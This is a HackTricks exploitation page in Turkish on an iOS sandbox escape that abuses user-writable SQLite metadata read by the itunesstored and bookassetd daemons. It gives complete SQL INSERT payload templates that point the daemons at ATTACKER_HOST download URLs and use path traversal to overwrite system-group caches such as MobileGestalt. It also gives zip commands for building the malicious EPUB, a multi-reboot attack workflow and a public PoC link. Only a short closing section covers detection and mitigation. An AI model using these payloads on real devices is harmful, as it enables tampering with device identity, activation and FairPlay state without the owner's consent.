itunesstored & bookassetd Sandbox Escape
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Genel Bakış
Son araştırmalar, önceden yüklü iki iOS daemon’ının, itunesstored (downloads manager) ve bookassetd (Books / iBooks asset manager), kullanıcı tarafından yazılabilen SQLite metadata’sına körü körüne güvendiğini gösteriyor. Hazırlanmış downloads.28.sqlitedb ve BLDatabaseManager.sqlite dosyalarını ile minimal bir EPUB arşivi bırakmak suretiyle, /var/mobile/Media/ altında yazma yetkisi olan bir saldırgan bu daemon’ları /private/var/ içindeki çoğu mobile sahipli yola rastgele dosya yazmaları yapmaya zorlayabilir. Bu yetenekler yeniden başlatmalardan sonra da kalır ve cihaz özelliklerini taklit etmek veya konfigürasyonu kalıcı hale getirmek için systemgroup.com.apple.mobilegestaltcache gibi system group önbelleklerine müdahale etmenize olanak sağlar.
Ana özellikler:
- En azından iOS 26.2b1’e kadar olan cihazlarda çalışır (iPhone 12 / iOS 26.0.1 üzerinde test edildi).
- Yazılabilir hedefler arasında
SystemGroupönbellekleri,/private/var/mobile/Library/FairPlay,/private/var/mobile/Mediave diğermobilesahipli dosyalar bulunur.rootsahipli dosyalara yazma işlemleri başarısız olur. - Sadece AFC-level erişimi (USB file copy) veya hedef SQLite DB’lerini değiştirmeye ve payload yüklemeye izin veren herhangi bir foothold gerekir.
Tehdit Modeli & Gereksinimler
/var/mobile/Media/Downloads/ve/var/mobile/Media/Books/üzerinde yerel dosya sistemi erişimi (3uTools, i4.cn gibi AFC istemcileri veyaafcclientüzerinden USB ile, veya önceki herhangi bir kompromis).- Saldırgan dosyalarını (
BLDatabaseManager.sqlite,iTunesMetadata.plist, hazırlanmış EPUB) barındıran bir HTTP server; ör.https://ATTACKER_HOST/fileprovider.php?type=...gibi URL’ler üzerinden erişilebilir. - Her daemon’ın veritabanını yeniden yüklemesi için cihazı birden fazla kez yeniden başlatabilme kabiliyeti.
- Stage 1 yazmasının doğru container’a düşmesini sağlamak için Books system-group UUID bilgisinin bilinmesi (syslog üzerinden bulunur).
Aşama 1 – downloads.28.sqlitedb’nin itunesstored üzerinden kötüye kullanımı
itunesstored /var/mobile/Media/Downloads/downloads.28.sqlitedb dosyasını işler. asset tablosu URL + hedef metadata’sını saklar ve güvenilir girdi olarak ele alınır. Bir satırı saldırgan URL’sine işaret edecek şekilde hazırlayıp local_path’i Books SystemGroup içindeki .../Documents/BLDatabaseManager/BLDatabaseManager.sqlite olarak ayarlamak, itunesstored’un açılışta Books veritabanını indirip saldırgan içeriğiyle üzerine yazmasına neden olur.
Books SystemGroup UUID’sini Bulma
pymobiledevice3ile bir syslog arşivi toplayın:
pymobiledevice3 syslog collect logs.logarchive
logs.logarchive’ı Console.app içinde açın vebookassetd [Database]: Store is at file:///private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqliteiçin arama yapın.<UUID>’yi kaydedin ve SQL payload’ında yerine koyun.
Kötü amaçlı asset satırı
Stage 1 INSERT template
```sql INSERT INTO "main"."asset" ( "pid","download_id","asset_order","asset_type","bytes_total", "url","local_path","destination_url","path_extension","retry_count", "http_method","initial_odr_size","is_discretionary","is_downloaded", "is_drm_free","is_external","is_hls","is_local_cache_server", "is_zip_streamable","processing_types","video_dimensions", "timeout_interval","store_flavor","download_token","blocked_reason", "avfoundation_blocked","service_type","protection_type", "store_download_key","etag","bytes_to_hash","hash_type","server_guid", "file_protection","variant_id","hash_array","http_headers", "request_parameters","body_data","body_data_file_path","sinfs_data", "dpinfo_data","uncompressed_size","url_session_task_id" ) VALUES ( 1234567890,6936249076851270150,0,'media',NULL, 'https://ATTACKER_HOST/fileprovider.php?type=sqlite', '/private/var/containers/Shared/SystemGroup/Önemli alanlar:
url: kötücülBLDatabaseManager.sqlitedosyasını döndüren saldırgan-kontrollü endpoint.local_path: yukarıda belirlenen Books system-groupBLDatabaseManager.sqlitedosyası.- Kontrol bayrakları: daemon’un görevi kabul etmesi için varsayılanları koruyun (
asset_type='media',path_extension='epub', şablondaki boolean’lar 0/1 olarak ayarlı).
Dağıtım
- Yarış durumlarını önlemek için eski
/var/mobile/Media/Downloads/*girdilerini silin. - AFC üzerinden
downloads.28.sqlitedbdosyasını hazırlanmış DB ile değiştirin. - Yeniden başlat →
itunesstoredStage 2 veritabanını indirir ve/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plistdosyasını bırakır. - O plist’i
/var/mobile/Media/Books/iTunesMetadata.plistkonumuna kopyalayın; Stage 2 bu konumu bekler.
Stage 2 – bookassetd aracılığıyla BLDatabaseManager.sqlite’in kötüye kullanımı
bookassetd daha geniş dosya sistemi yetkilerine sahiptir ve ZBLDOWNLOADINFO tablosuna güvenir. ZPLISTPATH içinde saldırgan URL’lerine referans veren ve traversal içeren sahte bir satın alma satırı ekleyerek, daemon EPUB dosyanızı /var/mobile/Media/Books/asset.epub konumuna indirir ve daha sonra meta verileri ../../.. kaçış dizileriyle ulaşılabilen herhangi bir mobile-sahipli yolun içine açar.
Malicious ZBLDOWNLOADINFO row
Stage 2 INSERT şablonu
```sql INSERT INTO "ZBLDOWNLOADINFO" ( "Z_PK","Z_ENT","Z_OPT","ZACCOUNTIDENTIFIER","ZCLEANUPPENDING", "ZFAMILYACCOUNTIDENTIFIER","ZISAUTOMATICDOWNLOAD","ZISLOCALCACHESERVER", "ZISPURCHASE","ZISRESTORE","ZISSAMPLE","ZISZIPSTREAMABLE", "ZNUMBEROFBYTESTOHASH","ZPERSISTENTIDENTIFIER","ZPUBLICATIONVERSION", "ZSERVERNUMBEROFBYTESTOHASH","ZSIZE","ZSTATE","ZSTOREIDENTIFIER", "ZSTOREPLAYLISTIDENTIFIER","ZLASTSTATECHANGETIME","ZPURCHASEDATE", "ZSTARTTIME","ZARTISTNAME","ZARTWORKPATH","ZASSETPATH", "ZBUYPARAMETERS","ZCANCELDOWNLOADURL","ZCLIENTIDENTIFIER", "ZCOLLECTIONARTISTNAME","ZCOLLECTIONTITLE","ZDOWNLOADID", "ZDOWNLOADKEY","ZENCRYPTIONKEY","ZEPUBRIGHTSPATH","ZFILEEXTENSION", "ZGENRE","ZHASHTYPE","ZKIND","ZMD5HASHSTRINGS","ZORIGINALURL", "ZPERMLINK","ZPLISTPATH","ZSALT","ZSUBTITLE","ZTHUMBNAILIMAGEURL", "ZTITLE","ZTRANSACTIONIDENTIFIER","ZURL","ZRACGUID","ZDPINFO", "ZSINFDATA","ZFILEATTRIBUTES" ) VALUES ( 1,2,3,0,0,0,0,'',NULL,NULL,NULL,NULL, 0,0,0,NULL,4648,2,'765107108',NULL, 767991550.119197,NULL,767991353.245275,NULL,NULL, '/private/var/mobile/Media/Books/asset.epub', 'productType=PUB&salableAdamId=765107106&...', 'https://p19-buy.itunes.apple.com/...', '4GG2695MJK.com.apple.iBooks','Sebastian Saenz','Cartas de Amor a la Luna', '../../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library', NULL,NULL,NULL,NULL,'Contemporary Romance',NULL,'ebook',NULL,NULL,NULL, '/private/var/mobile/Media/Books/iTunesMetadata.plist',NULL, 'Cartas de Amor a la Luna','https://ATTACKER_HOST/fileprovider.php?type=gestalt', 'Cartas de Amor a la Luna','J19N_PUB_190099164604738', 'https://ATTACKER_HOST/fileprovider.php?type=gestalt2',NULL,NULL,NULL,NULL ); ```Önemli alanlar:
ZASSETPATH: disk üzerindeki, saldırgan tarafından kontrol edilen EPUB konumu.ZURL/ZPERMLINK: EPUB ve yardımcı plist’i barındıran saldırgan URL’leri.ZPLISTPATH:../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library– EPUB’dan çıkarılan dosyalara eklenen path traversal base. İstenen SystemGroup hedefine ulaşmak için traversal derinliğini ayarlayın.- Satın alma metadata’sı (
ZSTOREIDENTIFIER, isimler, zaman damgaları) daemon’ın satırı yok saymaması için meşru girdileri taklit eder.
Kötü amaçlı DB’yi /private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite içine kopyaladıktan (Stage 1 sayesinde) ve cihazı iki kez yeniden başlattıktan sonra, bookassetd (1) EPUB’i indirecek, (2) işleyecek ve türetilmiş plist’i geçilen yolun altına yazacaktır.
EPUB Payload Hazırlama
bookassetd EPUB ZIP formatına uyar: mimetype ilk sıkıştırılmamış giriş olmalıdır. EPUB içeriğini MobileGestalt önbelleğine eşlemek için, ZPLISTPATH’e göre istenen yolu yansıtan bir dizin ağacı oluşturun.
Caches/
├── mimetype
└── com.apple.MobileGestalt.plist
Arşivi oluşturun:
zip -X0 hax.epub Caches/mimetype
zip -Xr9D hax.epub Caches/com.apple.MobileGestalt.plist
mimetypegenellikleapplication/epub+zipdeğerini içerir.Caches/com.apple.MobileGestalt.plistsaldırgan kontrollü yükü barındırır; bu yük.../Library/Caches/com.apple.MobileGestalt.plistyoluna yerleşecektir.
Orkestrasyon İş Akışı
- Saldırgan HTTP sunucusunda dosyaları hazırlayın ve her iki SQLite DB’yi host/UUID’ye özel değerlerle oluşturun.
- Cihazdaki
downloads.28.sqlitedb’yi değiştirin ve yeniden başlatın → Aşama 1 kötü amaçlıBLDatabaseManager.sqlite’yi indirir ve/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist’ı üretir. iTunesMetadata.plist’i/var/mobile/Media/Books/iTunesMetadata.plistkonumuna kopyalayın (daemon silerse tekrarlayın).- Tekrar yeniden başlatın →
bookassetd, Aşama 2 metadata’sını kullanarakasset.epub’i/var/mobile/Media/Books/dizinine indirir. - Üçüncü kez yeniden başlatın →
bookassetdindirilen varlığı işler,ZPLISTPATH’i takip eder ve EPUB içeriğini hedeflenen SystemGroup yoluna (ör.com.apple.MobileGestalt.plist) yazar. - Doğrulayın: üzerine yazılan plist’i okuyarak veya MobileGestalt kaynaklı özelliklerin (model identifier, activation flags vb.) buna göre değiştiğini gözlemleyerek doğrulayın.
Aynı desen, FairPlay state veya persistence dizinleri gibi diğer mobile sahipli önbelleklerin altına dosya bırakmanıza izin verir; böylece kernel exploit gerekmeden gizli müdahale mümkün olur.
Araçlar ve Operasyonel Notlar
pymobiledevice3 syslog collect logs.logarchive– Books SystemGroup UUID’sini keşfetmek için log arşivlerini çıkarın.- Console.app – tam konteyner yolunu kurtarmak için
bookassetd [Database]: Store is at ...filtresini kullanın. - AFC clients (
afcclient, 3uTools, i4.cn) – jailbreak olmadan USB üzerinden SQLite DB’lerini ve plist dosyalarını push/pull yapmak için kullanın. zip– payload paketlerken EPUB sıralama kısıtlamalarını zorlayın.- Public PoC – https://github.com/hanakim3945/bl_sbx özelleştirebileceğiniz temel SQLite/EPUB şablonlarını içerir.
Tespit ve Hafifletme Fikirleri
downloads.28.sqlitedbveBLDatabaseManager.sqlite’yi güvenilmeyen girdi olarak ele alın:local_path/ZPLISTPATH’in onaylı sandboxlar içinde kaldığını doğrulayın ve tam nitelikli yolları veya traversal token’larını reddedin.- Bu veritabanlarını değiştiren AFC yazma işlemlerini veya başlatmadan kısa süre sonra
itunesstored/bookassetdtarafından başlatılan beklenmeyen indirmeleri izleyin. bookassetd’nin açmasını sertleştirin: çıktı hedefinirealpath()ile çözümlü hale getirip, dosya yazmadan önce Books konteynerinden çıkamayacağından emin olun.- AFC / USB dosya kopyalama kanallarını kısıtlayın veya Books/iTunes metadata dosyalarının değiştirilmesine izin vermeden önce kullanıcı etkileşimi gerektirin.
Referanslar
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
HackTricks

